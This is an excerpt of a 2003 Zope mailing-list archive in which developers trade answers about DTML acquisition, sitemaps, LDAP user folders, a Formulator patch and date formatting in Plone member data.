if one of its properties (coach_id) matches the name of the currently > AUTHENTICATED_USER. If so, display the folder as an HREF (that I have > working fine) and if not, skip it. Hi, you need to use recursive calling. Please inspire yourself with this DTML Method called "x_ST"" that deletes all images in folders "s" or "t" recursively if they present: DEL: Regards JL. From canburak at knuth.cs.bilgi.edu.tr Mon Aug 18 14:06:54 2003 From: canburak at knuth.cs.bilgi.edu.tr (Can Burak Cilingir) Date: Mon Aug 18 06:07:02 2003 Subject: [Zope] any cleaner or cleverer way of inclusion In-Reply-To: <3F269CE0004144FE@stateless1.tiscali.cz> (added by postmaster@mail.tiscali.cz) Message-ID: > You need to call folder "Otherthing", not a page "Otherthing" 8-) > http://xxx/Something/Otherthing/ ^ this is a good suggestion. i don't undestand why zope assigns urls without a trailing slash (absolute_url). my navigation method now uses href="/"> (was href="">) but this doesn't solved the problem. following code ---cut--- ---------var---------- ------loooooop-------- this was returning. this behaviour is a must to illustrate the problem. ---cut--- displays ---------var---------- No content for this folder. ------loooooop-------- Year 1 address is: http://xxx/Courses/Year_1/ "Year 1" comes from http://xxx/Courses/Year_1/my_index "No content.." comes from http://xxx/my_index (this will be changed with "missing" later.) thanks in advance. From anithageorge27 at hotmail.com Mon Aug 18 12:37:11 2003 From: anithageorge27 at hotmail.com (Anitha George) Date: Mon Aug 18 07:37:46 2003 Subject: [Zope] Parsing of Page Templates and replicating ZMI Tree Structure Message-ID: Hi All I am working on Zope-2.5.1 running on Linux . I need to create a site Map of my site which needs to be built dynamically. The Site Map needs to consist of all Folders and Sub Folders and Files within these folders as well as anchor Tags within each of these files. Something like the ZMI Tree on the left but more detailed. My SiteMap needs to cover all Folders,SubFolders and Files and also anchor Tags within each files( (added by postmaster@mail.tiscali.cz) > Odes?latel: Anitha George > I need to create a site Map of my site which needs to be built dynamically. > The Site Map needs to consist of all Folders and Sub Folders and Files > within these folders as well as anchor Tags within each of these files. please take look at attachment place these two DTML Methods in your zope root JL. -------------- next part -------------- A non-text attachment was scrubbed... Name: full_sitemap.tgz Type: application/octet-stream Size: 791 bytes Desc: full_sitemap.tgz (TGZ soubor) Url : http://lists.zope.org/pipermail/zope/attachments/20030818/37f449ae/full_sitemap.obj From lukesh at seznam.cz Mon Aug 18 14:53:00 2003 From: lukesh at seznam.cz (Jaroslav Lukesh) Date: Mon Aug 18 07:54:46 2003 Subject: [Zope] any cleaner or cleverer way of inclusion Message-ID: <3F269CE00041C269@stateless1.tiscali.cz> (added by postmaster@mail.tiscali.cz) > Odes?latel: Can Burak Cilingir > following code > ---cut--- > ---------var---------- > > ------loooooop-------- > > this was returning. this behaviour is a must > to illustrate the problem. > > > ---cut--- > > displays > > ---------var---------- No content for this folder. ------loooooop-------- > Year 1 > > address is: http://xxx/Courses/Year_1/ > "Year 1" comes from http://xxx/Courses/Year_1/my_index > "No content.." comes from http://xxx/my_index (this will be changed > with "missing" later.) Do you know why you use DTML Method, or you use it because you have just few lines of code here? Try to play with acquisition: ---------acq---------- --------/acq----------- But it raise error if you does not have called object here. Please make more comments on what you wan to have and code of bilgi_cs_index and my_index. Regards JL. From lynch at gould.mannlib.cornell.edu Mon Aug 18 09:25:45 2003 From: lynch at gould.mannlib.cornell.edu (Tim Lynch) Date: Mon Aug 18 08:25:49 2003 Subject: [Zope] weird browser display problem with new site Message-ID: <200308181225.IAA15794@gould.mannlib.cornell.edu> First, congratulations to all involved in the migration to the new site. My hat's off to all of you. I have seen a weird problem, however, using IE 6.028 on W2K when trying to look at a news item. On today's page, for example, the "live zope" announcement does not display. The replies are visible, but the announcement itself is invisible. If I drag over the area where the announcement should be, my dragging highlights the text which I can then see. If I click the mouse to deselect, the text then remains visible. Some announcements display this behavior, all others work as expected. In addition to the "live zope" announcement, the "active images" item shows the same behavior. This isn't a big deal for me but I thought someone would want to hear about this. anyway ... Netscape/Mozilla works as expected. Again, a big thankyou and welldone to all involved bringing up the new system! Looks great!! --- Tim Lynch tlynch@nal.usda.gov From dman at dman13.dyndns.org Mon Aug 18 10:06:55 2003 From: dman at dman13.dyndns.org (Derrick 'dman' Hudson) Date: Mon Aug 18 09:07:01 2003 Subject: [Zope] Re: Zope application offline - how to applyalicense ptotection? In-Reply-To: <3F269CE0003B6DFF@stateless1.tiscali.cz> References: <3F269CE0003B6DFF@stateless1.tiscali.cz> Message-ID: <20030818130655.GB29824@dman13.dyndns.org> On Sat, Aug 16, 2003 at 12:11:38AM +0200, Jaroslav Lukesh wrote: [...] | You need to not allow login to that console to work. You need to add prompt | password for singleuser mode (in Linux). Then getting local console is | impossible (if you does not have floppy,CD, USB and bootable NIC) for any | intruder. Assuming, of course, that the intruder doesn't have the option of opening up the case and fiddling with the hardware (for example adding a floppy drive or moving the hard drive to a "slave" position in a machine he does have root access to). One of my roommates bought a used PC from a friend of his at the beginning of the summer. After bringing it to our apartment, he couldn't boot up because the BIOS password his friend told him wasn't working. No problem -- I simply popped the cover on the case, found the reset jumper for clearing the BIOS password and all was good. :-D -D -- A man of many companions may come to ruin, but there is a friend that sticks closer than a brother. Proverbs 18:24 http://dman13.dyndns.org/~dman/ -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 189 bytes Desc: not available Url : http://lists.zope.org/pipermail/zope/attachments/20030818/6aa51d08/attachment.bin From larry_prikockis at natureserve.org Mon Aug 18 10:26:50 2003 From: larry_prikockis at natureserve.org (Larry J. C. Prikockis) Date: Mon Aug 18 09:23:43 2003 Subject: [Zope] Re: weird browser display problem with new site References: <200308181225.IAA15794@gould.mannlib.cornell.edu> Message-ID: On Mon, 18 Aug 2003 08:25:45 -0400, Tim Lynch wrote: > I have seen a weird problem, however, using IE 6.028 > on W2K when trying to look at a news item. On today's > page, for example, the "live zope" announcement does > not display. The replies are visible, but the announcement > itself is invisible. If I drag over the area where > the announcement should be, my dragging highlights the > text which I can then see. If I click the mouse to > deselect, the text then remains visible. > > Some announcements display this behavior, all others > work as expected. In addition to the "live zope" announcement, > the "active images" item shows the same behavior. > > This isn't a big deal for me but I thought someone would > want to hear about this. anyway ... > > Netscape/Mozilla works as expected. > > > Again, a big thankyou and welldone to all involved > bringing up the new system! Looks great!! > > > --- > Tim Lynch > tlynch@nal.usda.gov I've seen this same behavior with recent versions of Plone (1.0.1+) and believe it's been filed in the Plone bug Collector. As far as I've been able to tell, it *only* occurs with IE6+ (5.0, 5.5 work fine, as do other browsers). Unfortunately, I'm not a good enough CSS guru to pinpoint what's going on. Maybe with the extra attention this bug will get with Zope.org now using Plone, someone'll figure out how to squash it. From paolo at php3.it Mon Aug 18 16:27:00 2003 From: paolo at php3.it (Paolo Dina) Date: Mon Aug 18 09:27:09 2003 Subject: [Zope] Mozilla and ZMI strange behaviour Message-ID: <3F40D424.8050503@php3.it> Hi guys, just a quick question. When i'm on Metadata tab of ZCatalog (Zope 2.6.1) and i compile the field to add metadata this happens: if i submit "Add metadata" hitting Return key i get this error: Site Error blahblah.. (*) when i submit using 'Add' button all works fine. Any pointers? Paolo Dina (*) Site Error An error was encountered while publishing this resource. BadRequest Sorry, a site error occurred. Traceback (innermost last): * Module ZPublisher.Publish, line 150, in publish_module * Module ZPublisher.Publish, line 114, in publish * Module Zope.App.startup, line 182, in zpublisher_exception_hook * Module ZPublisher.Publish, line 98, in publish * Module ZPublisher.mapply, line 83, in mapply * Module ZPublisher.Publish, line 44, in missing_name * Module ZPublisher.HTTPResponse, line 648, in badRequestError From pw_lists at slinkp.com Mon Aug 18 10:41:45 2003 From: pw_lists at slinkp.com (Paul Winkler) Date: Mon Aug 18 09:43:30 2003 Subject: [Zope] any cleaner or cleverer way of inclusion ? In-Reply-To: References: Message-ID: <20030818134145.GA3770@slinkp.com> On Mon, Aug 18, 2003 at 09:04:51AM +0300, Can Burak Cilingir wrote: > i have a folder hierarchy which has "index_html(dtml doc)", > "left(dtml mtd)", "main(dtml mtd)" etc in the root folder, and > "my_index(dtml method)" in all folders. (index_html has left>) > > when i add "my_index" at the "main" ()and call say > "http://xxx/Something/Otherthing", i saw "my_index" which is at the root, > not the one inside "Something/Otherthing". I think this is because index_html is a dtml document. Try replacing it with a dtml method. A DTML Document has its own properties, it is not treated as a simple method call at the place where you call it. Names are looked up first in the Document itself, then acquired *by containment first*, then finally by context. So "Otherthing" would be checked only after index_html's containment path. On the other hand, DTML Methods have no properties of their own. They are treated as methods of the calling context. So "Otherthing" would be checked first. http://old.zope.org/Members/michel/HowTos/DTMLMethodsandDocsHowTo -- Paul Winkler http://www.slinkp.com Look! Up in the sky! It's THE TRONIC REPAIRMAN! (random hero from isometric.spaceninja.com) From Patrick.Gelin at rpn.ch Mon Aug 18 16:46:51 2003 From: Patrick.Gelin at rpn.ch (Gelin Patrick) Date: Mon Aug 18 09:47:27 2003 Subject: [Zope] How to install python2.1-ldap.zip... Message-ID: Hi, I've just doynloaded python2.1-ldap.zip file and I want to install it with my Zope 2.6.1 / python 2.1.3 win32 server. Inside the python2.1-ldap.zip file there is a tree with python21 directory as root. Other subdirectories are: python21/ldap python21/ldap/schema My Zope 2.6.1 installation have a tree like this: C:\Program Files\ZopeCMFPlone\Zope-2.6.1-win32\bin (with file python.exe) C:\Program Files\ZopeCMFPlone\Zope-2.6.1-win32\bin\lib C:\Program Files\ZopeCMFPlone\Zope-2.6.1-win32\bin\DLLs C:\Program Files\ZopeCMFPlone\Zope-2.6.1-win32\lib\python How do I map python21 directory? (Is python21 same as Zope-2.6.1-win32\bin directory or Zope-2.6.1-win32\lib\python directory?) By the way, I would like to use LDAPUsrFolder2.2. I remarked it use "import ldap" and python2.1-ldap.zip seems to use "import _ldap". I believe I'm going to have a problem... Thanks! From volker.wend at efgbsh.de Mon Aug 18 17:22:12 2003 From: volker.wend at efgbsh.de (volker.wend@efgbsh.de) Date: Mon Aug 18 10:12:55 2003 Subject: [Zope] How to install python2.1-ldap.zip... Message-ID: Hi, I use the python-ldap dist with the LDAPUserFolder 2.2 and the CMFLDAPUserfolder. Works nice. Just put everything in the zipfile into \lib\python or into your classpath. Volker > -----Original Message----- > From: Gelin Patrick [mailto:Patrick.Gelin@rpn.ch] > Sent: Montag, 18. August 2003 15:47 > To: zope@zope.org > Subject: [Zope] How to install python2.1-ldap.zip... > > > Hi, > > I've just doynloaded python2.1-ldap.zip file and I want to > install it with my Zope 2.6.1 / python 2.1.3 win32 server. > > Inside the python2.1-ldap.zip file there is a tree with > python21 directory as root. Other subdirectories are: > python21/ldap python21/ldap/schema > > My Zope 2.6.1 installation have a tree like this: > > C:\Program Files\ZopeCMFPlone\Zope-2.6.1-win32\bin (with file > python.exe) C:\Program Files\ZopeCMFPlone\Zope-2.6.1-win32\bin\lib > C:\Program Files\ZopeCMFPlone\Zope-2.6.1-win32\bin\DLLs > C:\Program Files\ZopeCMFPlone\Zope-2.6.1-win32\lib\python > > How do I map python21 directory? (Is python21 same as > Zope-2.6.1-win32\bin directory or Zope-2.6.1-win32\lib\python > directory?) > > By the way, I would like to use LDAPUsrFolder2.2. I remarked > it use "import ldap" and python2.1-ldap.zip seems to use > "import _ldap". I believe I'm going to have a problem... > > Thanks! > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross > posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From canburak at knuth.cs.bilgi.edu.tr Mon Aug 18 19:10:34 2003 From: canburak at knuth.cs.bilgi.edu.tr (Can Burak Cilingir) Date: Mon Aug 18 11:10:48 2003 Subject: [Zope] any cleaner or cleverer way of inclusion ? In-Reply-To: <20030818134145.GA3770@slinkp.com> Message-ID: > I think this is because index_html is a dtml document. Try replacing > it with a dtml method. thanks ! thats my answer because it doesn't differ for me if it is a method or document (at least for now). i choosed as document because i feel this is a document instead of a method. because it is the main "document" or default "document". just as the traditional apache name. :) now i just have and i am more comfortable. :) > http://old.zope.org/Members/michel/HowTos/DTMLMethodsandDocsHowTo thanks for the address.. From Patrick.Gelin at rpn.ch Mon Aug 18 18:38:53 2003 From: Patrick.Gelin at rpn.ch (Gelin Patrick) Date: Mon Aug 18 11:39:30 2003 Subject: [Zope] How to use LDAPUserFolder... Message-ID: Hi, I've successed to install LDAPUserFolder but I can't find any documentation explaining how to use it... What I use is Microsoft LDAP, I think it's open directory. I've got the parameters below: server: ldap.rpn.ch port: 3268 User: rpn\ldap passeword: ******* cn="rpn", cn="ch" 1. How to use this parameters with LDAPUserFolder ? Do I need other parameters ? 2. What is LDAPUSerSatellite ? Thanks. From volker.wend at efgbsh.de Mon Aug 18 19:10:54 2003 From: volker.wend at efgbsh.de (volker.wend@efgbsh.de) Date: Mon Aug 18 12:01:36 2003 Subject: [Zope] How to use LDAPUserFolder... Message-ID: Did you read the file README.ActiveDirectory.txt ? Volkerw > -----Original Message----- > From: Gelin Patrick [mailto:Patrick.Gelin@rpn.ch] > Sent: Montag, 18. August 2003 17:39 > To: zope@zope.org > Subject: [Zope] How to use LDAPUserFolder... > > > Hi, > > I've successed to install LDAPUserFolder but I can't find any > documentation explaining how to use it... > > What I use is Microsoft LDAP, I think it's open directory. > I've got the parameters below: > > server: ldap.rpn.ch > port: 3268 > User: rpn\ldap > passeword: ******* > cn="rpn", cn="ch" > > 1. How to use this parameters with LDAPUserFolder ? Do I need > other parameters ? 2. What is LDAPUSerSatellite ? > > Thanks. > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross > posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From jean at upfrontsystems.co.za Mon Aug 18 19:03:17 2003 From: jean at upfrontsystems.co.za (Jean Jordaan) Date: Mon Aug 18 12:03:57 2003 Subject: [Zope] Formulator acts funny for 2-character options Message-ID: <3F40F8C5.60409@upfrontsystems.co.za> Hi Martijn & all This code, context.REQUEST.SESSION.set('state_evaluate_items', ['yes', 'no']) in a state helper for this field:: evaluate = fields.RadioField('evaluate', title='Please contact me for a full evaluation') evaluate.tales['default'] = "form/REQUEST/SESSION/state_evaluate" evaluate.tales['items'] = "form/REQUEST/SESSION/state_evaluate_items" causes this HTML to be rendered:: yes
n This is also the case for MultiCheckBoxFields and other fields with items. I'm assuming it has to do with this behaviour:: A list item can also be a tuple consisting " "of two elements. The first element of the tuple should be a string " "that is name of the item that should be displayed. The second " "element of the tuple should be the value that will be submitted. and that a 2-char string is misrecognized as a 2-item tuple, but I can't figure out where in the code it occurs. Where should I start looking? I'm using Formulator-1.4.1, but I did a diff with CVS HEAD and didn't notice anything that looked like it addresses this issue. -- Jean Jordaan http://www.upfrontsystems.co.za From mlong at datalong.com Mon Aug 18 13:15:54 2003 From: mlong at datalong.com (Michael Long) Date: Mon Aug 18 12:25:56 2003 Subject: [Zope] Object retrieval syntax Message-ID: Hi, I noticed that if an object's id begins with a numeric character then the syntax to retrieve the object must be *container['1']* otherwise the syntax to retrive the item may be either *container['myID']* or *container.myID*. Why is this? Thanks, Mike From jbarbara11 at yahoo.com Mon Aug 18 10:39:30 2003 From: jbarbara11 at yahoo.com (Jim Barbara) Date: Mon Aug 18 12:39:34 2003 Subject: [Zope] Need help w/Custom Memberdata - Birthdays and date format Message-ID: <20030818163930.37985.qmail@web11701.mail.yahoo.com> I added birthday (type=Date) to portal_memberdata in the ZMI for my Plone site. I edited the My Preferences form to include Birthday. I then created a custom python script called getMember: roster=[] for member in context.portal_membership.listMembers(): roster.append( { 'id':member.getUserName() , 'email':member.email , 'birthday':member.birthday , 'fullname': member.fullname }) return roster And then I use some of the output of that script in a page template using the following:
Column 1 dummy data Column 2 dummy data
The problem is that I cannot get the birthday date string data formatted with just Month, Day and I have no idea as to how to sort this data my month. --Jim __________________________________ Do you Yahoo!? Yahoo! SiteBuilder - Free, easy-to-use web site design software http://sitebuilder.yahoo.com From jean at upfrontsystems.co.za Mon Aug 18 19:46:30 2003 From: jean at upfrontsystems.co.za (Jean Jordaan) Date: Mon Aug 18 12:47:13 2003 Subject: [Zope] PATCH (was Formulator acts funny for 2-character options) In-Reply-To: <3F40F8C5.60409@upfrontsystems.co.za> References: <3F40F8C5.60409@upfrontsystems.co.za> Message-ID: <3F4102E6.5020601@upfrontsystems.co.za> Hi there This fixes it :) I'm sure it could be more elegant, but you get the idea .. --- /usr/local/zope/Products/Formulator-1.4.1/Widget.py 2003-07-04 12:47:48.000000000 +0200 +++ Formulator/Widget.py 2003-08-18 18:42:12.000000000 +0200 @@ -391,12 +391,17 @@ # first one only (for now, may be able to fix this better later) selected_found = 0 rendered_items = [] + from types import StringType for item in items: - try: - item_text, item_value = item - except ValueError: + if isinstance(item, StringType): item_text = item item_value = item + else: + try: + item_text, item_value = item + except ValueError: + item_text = item + item_value = item if item_value == value and not selected_found: -- Jean Jordaan http://www.upfrontsystems.co.za From garry at joydiv.fsnet.co.uk Tue Aug 19 04:24:02 2003 From: garry at joydiv.fsnet.co.uk (garry saddington) Date: Mon Aug 18 13:57:34 2003 Subject: [Zope] nis user folder Message-ID: <200308190324.02246.garry@joydiv.fsnet.co.uk> When i try to add a nis user folder to my zmi i get an error message: error type:keyError Error value:PARENT_URL can anyone help me to get this working? regards garry From khcarlso at bellsouth.net Mon Aug 18 15:00:53 2003 From: khcarlso at bellsouth.net (Kevin Carlson) Date: Mon Aug 18 14:00:24 2003 Subject: [Zope] Need help w/Custom Memberdata - Birthdays and date format In-Reply-To: <20030818163930.37985.qmail@web11701.mail.yahoo.com> References: <20030818163930.37985.qmail@web11701.mail.yahoo.com> Message-ID: <3F411455.90403@bellsouth.net> Jim Barbara wrote: > >The problem is that I cannot get the birthday date >string data formatted with just Month, Day > > > Look into the strftime method. It can format dates however you like to see them. >and > >I have no idea as to how to sort this data my month. > > As for sorting, you can call a list objects sort function and pass a comparison function as an argument. Define this sort function in the same script as your getMember script, if you'd like. Something like: def memberCompare(a, b) : #you'll get two list items from roster as a and b. # compare and return -1, 0 or 1. ...rest of getMembers..then... return roster.sort(memberCompare) Hope that helps. From evan at 4-am.com Mon Aug 18 14:03:05 2003 From: evan at 4-am.com (Evan Simpson) Date: Mon Aug 18 14:03:10 2003 Subject: [Zope] Re: Object retrieval syntax In-Reply-To: References: Message-ID: <3F4114D9.7000306@4-am.com> Michael Long wrote: > I noticed that if an object's id begins with a numeric character then > the syntax to retrieve the object must be *container['1']* otherwise the > syntax to retrive the item may be either *container['myID']* or > *container.myID*. Why is this? This is not quite accurate; standard Zope Folders support two methods of object access which are similar, but not identical. The first is attribute access, which is what you use when you write "container.myID" or "getattr(container, 'myID')". Python's syntax requires that the attribute name in the first expression be a valid identifier (i.e. start with a letter or underscore, etc). In the second expression, the attribute's name is provided as a string literal, so only Zope's object naming constraints apply. In either case, if the named attribute does not exist in the container, and the container supports acquisition (which Folders do), then Zope will attempt to fetch the attribute from the container's context. The second is item access, as in "container['myID']". As with the "getattr()" form of attribute access, the item key can be any valid Zope object name. *Unlike* attribute access, item access will not perform implicit acquisition if the item key is not found in the container. Cheers, Evan @ 4-am From bz at bwanazulia.com Mon Aug 18 14:10:06 2003 From: bz at bwanazulia.com (BZ) Date: Mon Aug 18 14:11:07 2003 Subject: [Zope] folder.objectValues() help Message-ID: <56973.199.67.138.20.1061230206.squirrel@webmail.mahnke.net> I would like to get back a list of objects, from a folder that have a parameter checked off in them: So, I would like to get back a list of items "Item Name" that also have been approved (check box value) These do not work: This works: But would not show three, if one was not approved. I know it is some little snipped I am missing.. BZ From andreas at andreas-jung.com Mon Aug 18 21:17:32 2003 From: andreas at andreas-jung.com (Andreas Jung) Date: Mon Aug 18 14:17:40 2003 Subject: [Zope] folder.objectValues() help In-Reply-To: <56973.199.67.138.20.1061230206.squirrel@webmail.mahnke.net> References: <56973.199.67.138.20.1061230206.squirrel@webmail.mahnke.net> Message-ID: <2147483647.1061237852@[192.168.0.100]> --On Montag, 18. August 2003 13:10 Uhr -0500 BZ wrote: > I would like to get back a list of objects, from a folder that have a > parameter checked off in them: > > So, I would like to get back a list of items "Item Name" that also have > been approved (check box value) > > These do not work: > > There is no documentation that shows such a syntax. So why do you assume that this should work? > > This works: > > > Use the ZCatalog and create a PathIindex and a FieldIndex for 'approved' and then rephrase your problem using a ZCatalog search. -aj From khcarlso at bellsouth.net Mon Aug 18 15:29:05 2003 From: khcarlso at bellsouth.net (Kevin Carlson) Date: Mon Aug 18 14:28:37 2003 Subject: [Zope] folder.objectValues() help In-Reply-To: <56973.199.67.138.20.1061230206.squirrel@webmail.mahnke.net> References: <56973.199.67.138.20.1061230206.squirrel@webmail.mahnke.net> Message-ID: <3F411AF1.6070304@bellsouth.net> BZ wrote: >I would like to get back a list of objects, from a folder that have a >parameter checked off in them: > >So, I would like to get back a list of items "Item Name" that also have >been approved (check box value) > > > You can use list comprehensions to do this (untested): From bz at bwanazulia.com Mon Aug 18 14:42:03 2003 From: bz at bwanazulia.com (BZ) Date: Mon Aug 18 14:43:02 2003 Subject: [Zope] folder.objectValues() help In-Reply-To: <3F411AF1.6070304@bellsouth.net> References: <56973.199.67.138.20.1061230206.squirrel@webmail.mahnke.net> <3F411AF1.6070304@bellsouth.net> Message-ID: <46999.199.67.138.20.1061232123.squirrel@webmail.mahnke.net> That worked like a charm.... (two charms, since I used it in two places). Thanks very much. BZ > BZ wrote: > >>I would like to get back a list of objects, from a folder that have a >>parameter checked off in them: >> >>So, I would like to get back a list of items "Item Name" that also have >>been approved (check box value) >> >> >> > You can use list comprehensions to do this (untested): > > item.approved]"> > > > > > > _______________________________________________ > Zope maillist - Zope@zope.org > http://mail.zope.org/mailman/listinfo/zope > ** No cross posts or HTML encoding! ** > (Related lists - > http://mail.zope.org/mailman/listinfo/zope-announce > http://mail.zope.org/mailman/listinfo/zope-dev ) > From hpinson at indepthl.com Mon Aug 18 14:36:28 2003 From: hpinson at indepthl.com (hpinson@indepthl.com) Date: Mon Aug 18 15:34:25 2003 Subject: [Zope] Display parent container title in Page Template Message-ID: <3F40D65C.3039.BE1EA89@localhost> Hi. In a Page Template, how can I display the title property of a parent container, in this case, a folder? For example: Title: Item Title
Returns the title of the page template document, but I need to show the title property of the folder that contains it. Folder (My Folder's Title) |__ content.htm (a Page Template) Ultimately the parent folder would have a title property for each of several languages. Harlow Pinson Indepth Learning Email: hpinson@indepthl.com Web: http://www.indepthl.com Voice: 505-994-2135 FAX: 208-475-7678 From bz at bwanazulia.com Mon Aug 18 15:37:56 2003 From: bz at bwanazulia.com (BZ) Date: Mon Aug 18 15:38:55 2003 Subject: [Zope] converting unix time -> normal time Message-ID: <60047.199.67.138.20.1061235476.squirrel@webmail.mahnke.net> I have a bunch of IDs that were created using unix time.. ie: "958560950" and would like to convert them back to normal (readable) time so I can figure out when they were published. Found a good JavaScript version, but cannot find anyway to do it in Zope/Python. http://dan.drydog.com/unixdatetime.html BZ From vattekkat.babu at verizon.net Mon Aug 18 17:02:55 2003 From: vattekkat.babu at verizon.net (Satheesh Babu) Date: Mon Aug 18 16:03:38 2003 Subject: [Zope] Display parent container title in Page Template In-Reply-To: <3F40D65C.3039.BE1EA89@localhost> References: <3F40D65C.3039.BE1EA89@localhost> Message-ID: <3F4130EF.9050509@verizon.net> In content.htm: content.htm's title content.htm's parent container folder's title content.htm's parent's parent's title and so on... Babu http://vsbabu.org/ hpinson@indepthl.com wrote: > Hi. In a Page Template, how can I display the title property of a > parent container, in this case, a folder? > > For example: > > Title: Item > Title
> > Returns the title of the page template document, but I need to show > the title property of the folder that contains it. > > Folder (My Folder's Title) > |__ content.htm (a Page Template) > > Ultimately the parent folder would have a title property for each of > several languages. From jccooper at jcameroncooper.com Mon Aug 18 16:14:28 2003 From: jccooper at jcameroncooper.com (J Cameron Cooper) Date: Mon Aug 18 16:15:08 2003 Subject: [Zope] converting unix time -> normal time In-Reply-To: <60047.199.67.138.20.1061235476.squirrel@webmail.mahnke.net> References: <60047.199.67.138.20.1061235476.squirrel@webmail.mahnke.net> Message-ID: <3F4133A4.2000202@jcameroncooper.com> > > >I have a bunch of IDs that were created using unix time.. ie: "958560950" >and would like to convert them back to normal (readable) time so I can >figure out when they were published. > >Found a good JavaScript version, but cannot find anyway to do it in >Zope/Python. > > Take a look at the Zope DateTime class, documented in the online help (Zope Help > API Reference). See also Python's strftime (string format time) function. --jcc -- "My point and period will be throughly wrought, Or well or ill, as this day's battle's fought." From hpinson at indepthl.com Mon Aug 18 15:22:42 2003 From: hpinson at indepthl.com (hpinson@indepthl.com) Date: Mon Aug 18 16:20:41 2003 Subject: [Zope] Display parent container title in Page Template In-Reply-To: <3F4130EF.9050509@verizon.net> References: <3F40D65C.3039.BE1EA89@localhost> Message-ID: <3F40E132.22782.C0C3FB8@localhost> works... but does not work. Unfortunaly, I need to use the latter, since this is the results of a ZCatalog search and is dynamic. Thanks anyway. Harlow Pinson Indepth Learning Email: hpinson@indepthl.com Web: http://www.indepthl.com Voice: 505-994-2135 FAX: 208-475-7678 From dieter at handshake.de Mon Aug 18 21:04:40 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 18 16:34:43 2003 Subject: [Zope] Getting the filename from a file upload In-Reply-To: <3F3E2D5D.30205.17DC739@localhost> References: <3F3E2D5D.30205.17DC739@localhost> Message-ID: <16193.5432.420918.1428@gargle.gargle.HOWL> hpinson@indepthl.com wrote at 2003-8-16 13:10 -0600: > ... When you have a "FileUpload" instance "file", then "file.filename" gives you its filename. Note, however, that some versions of IE have a bug and return the full path name while most other browser return only the filename (without directory) (as it should be for security reasons). Dieter From dieter at handshake.de Mon Aug 18 21:31:03 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 18 16:35:06 2003 Subject: [Zope] any cleaner or cleverer way of inclusion ? In-Reply-To: References: Message-ID: <16193.7015.60128.703561@gargle.gargle.HOWL> Can Burak Cilingir wrote at 2003-8-18 09:04 +0300: > i read about zope for my problem but could not find any solution which > seems logical to me. > > i have a folder hierarchy which has "index_html(dtml doc)", > "left(dtml mtd)", "main(dtml mtd)" etc in the root folder, and > "my_index(dtml method)" in all folders. (index_html has left>) Make your "index_html" a DTML Method (rather than a DTML Document). This may solve your problem. As a general rule: avoid DTML Document unless you know precisely why your want to use them. Dieter From dieter at handshake.de Mon Aug 18 21:28:12 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 18 16:35:20 2003 Subject: [Zope] Custom Memberdata - Birthdays and date format In-Reply-To: <20030817211409.96952.qmail@web11707.mail.yahoo.com> References: <20030817211409.96952.qmail@web11707.mail.yahoo.com> Message-ID: <16193.6844.931188.802079@gargle.gargle.HOWL> Jim Barbara wrote at 2003-8-17 14:14 -0700: > I added birthday (type=Date) to portal_memberdata in > the ZMI for my Plone site. I edited the My > Preferences form to include Birthday. I then created > a custom python script called getMember: > > roster=[] > for member in context.portal_membership.listMembers(): > roster.append( { 'id':member.getUserName() > , 'email':member.email > , > 'birthday':member.birthday > , 'fullname': > member.fullname }) > return roster > > > And then I use some of the output of that script in a > page template using the following: > >
tal:content="string:${member/fullname}">Column 1 dummy > data tal:content="string:${member/birthday}">Column 2 dummy > data
> > The problem is that I cannot get the birthday date > string data formatted with just Month, Day What type has your "birthday"? When it is a "DateTime" (often called "date" type), then the "DateTime" documentation in "DateTime/DateTime.html" tells you which methods you can use (among others "day", "month" and "strftime"). When it is a string, you may need to split it into its components (probably using the "split" method of strings). You can then use the Python's formatting operator ("%") to reformat the string. > and > > I have no idea as to how to sort this data my month. Split the birthday into month and other (as a pair) and sort the resulting list via the list method "sort". Reformat later as needed. Dieter From dieter at handshake.de Mon Aug 18 21:18:45 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 18 16:35:33 2003 Subject: [Zope] Reading contents of a Page Template In-Reply-To: References: Message-ID: <16193.6277.194567.9571@gargle.gargle.HOWL> You know that you should not cross post? Reply restricted to "zope@zope.org" (where your questions belongs to). Anitha George wrote at 2003-8-17 10:59 +0000: > ... > I have a requirement to create a SiteMap for my site. > My site is dynamically built from the Zope tree structure. > Folder and Sub Folders need to appear as a tree structure and need to be > sorted by name and date. > I have viewed the examples in the Examples folder in ZMI and gotten a > general Idea of how to get the files within a specific folder. > But I need to be able to go through the whole set of folders and sub Folders > and create the SiteMap and not just for a single folder . Is your requirement similar to the left frame in Zope's Management Interface (ZMI)? In this case, you could look at its code (--> "App/dtml/menu.dtml"). "dtml-tree" allows you to preexpand the complete tree. But, of course, "dtml-tree" generates an interactive tree, which you may not want. You can use also the tree support of "ZPT" (which is also usable in DTML). It provides more control over the tree display than "dtml-tree" (and therefore you can build a non-interactive tree). It is defined in the package "ZTUtils". Look at the ZPT examples to learn how to use it. > Is there some While- Do Loop which I can use to Loop through till I reach > the Lowest rung in a Tree for each and every Folder and create a Site Map. Use a Python Script either to build the complete HTML structure or to to build an auxiliary structure (e.g. a sequence of (level,obj) pairs) and format it in ZPT/DTML. > Also Each of these folders has an index_html page template which can be > linked from the SiteMap that is created. > Each of the index_html files has a number of anchor tags. > These Tags are for moving within the Page. > I need to be able to include these Tage as well in My SiteMap ... > CAN I GET THESE ANCHOR TAG LINKS ON EACH PAGE BY READING THROUGH THE CONTENT > OF EACH OF THESE PAGE TEMPLATES? When your tags are "HTML tags", then you would need to parse their source (and find the tags). This may be a bit expensive. > IS THERE SOME OTHER WAY TO DO ALL THESE ??? It would be easier when the tags were generated from an easily accessible structure (e.g. properties of "index_html" or the folder). Dieter From dieter at handshake.de Mon Aug 18 21:29:44 2003 From: dieter at handshake.de (Dieter Maurer) Date: Mon Aug 18 16:35:45 2003 Subject: [Zope] Drilling into second-level object properties In-Reply-To: <8A84CB5A-D138-11D7-8C1D-0030656FB5D4@shafermedia.com> References: 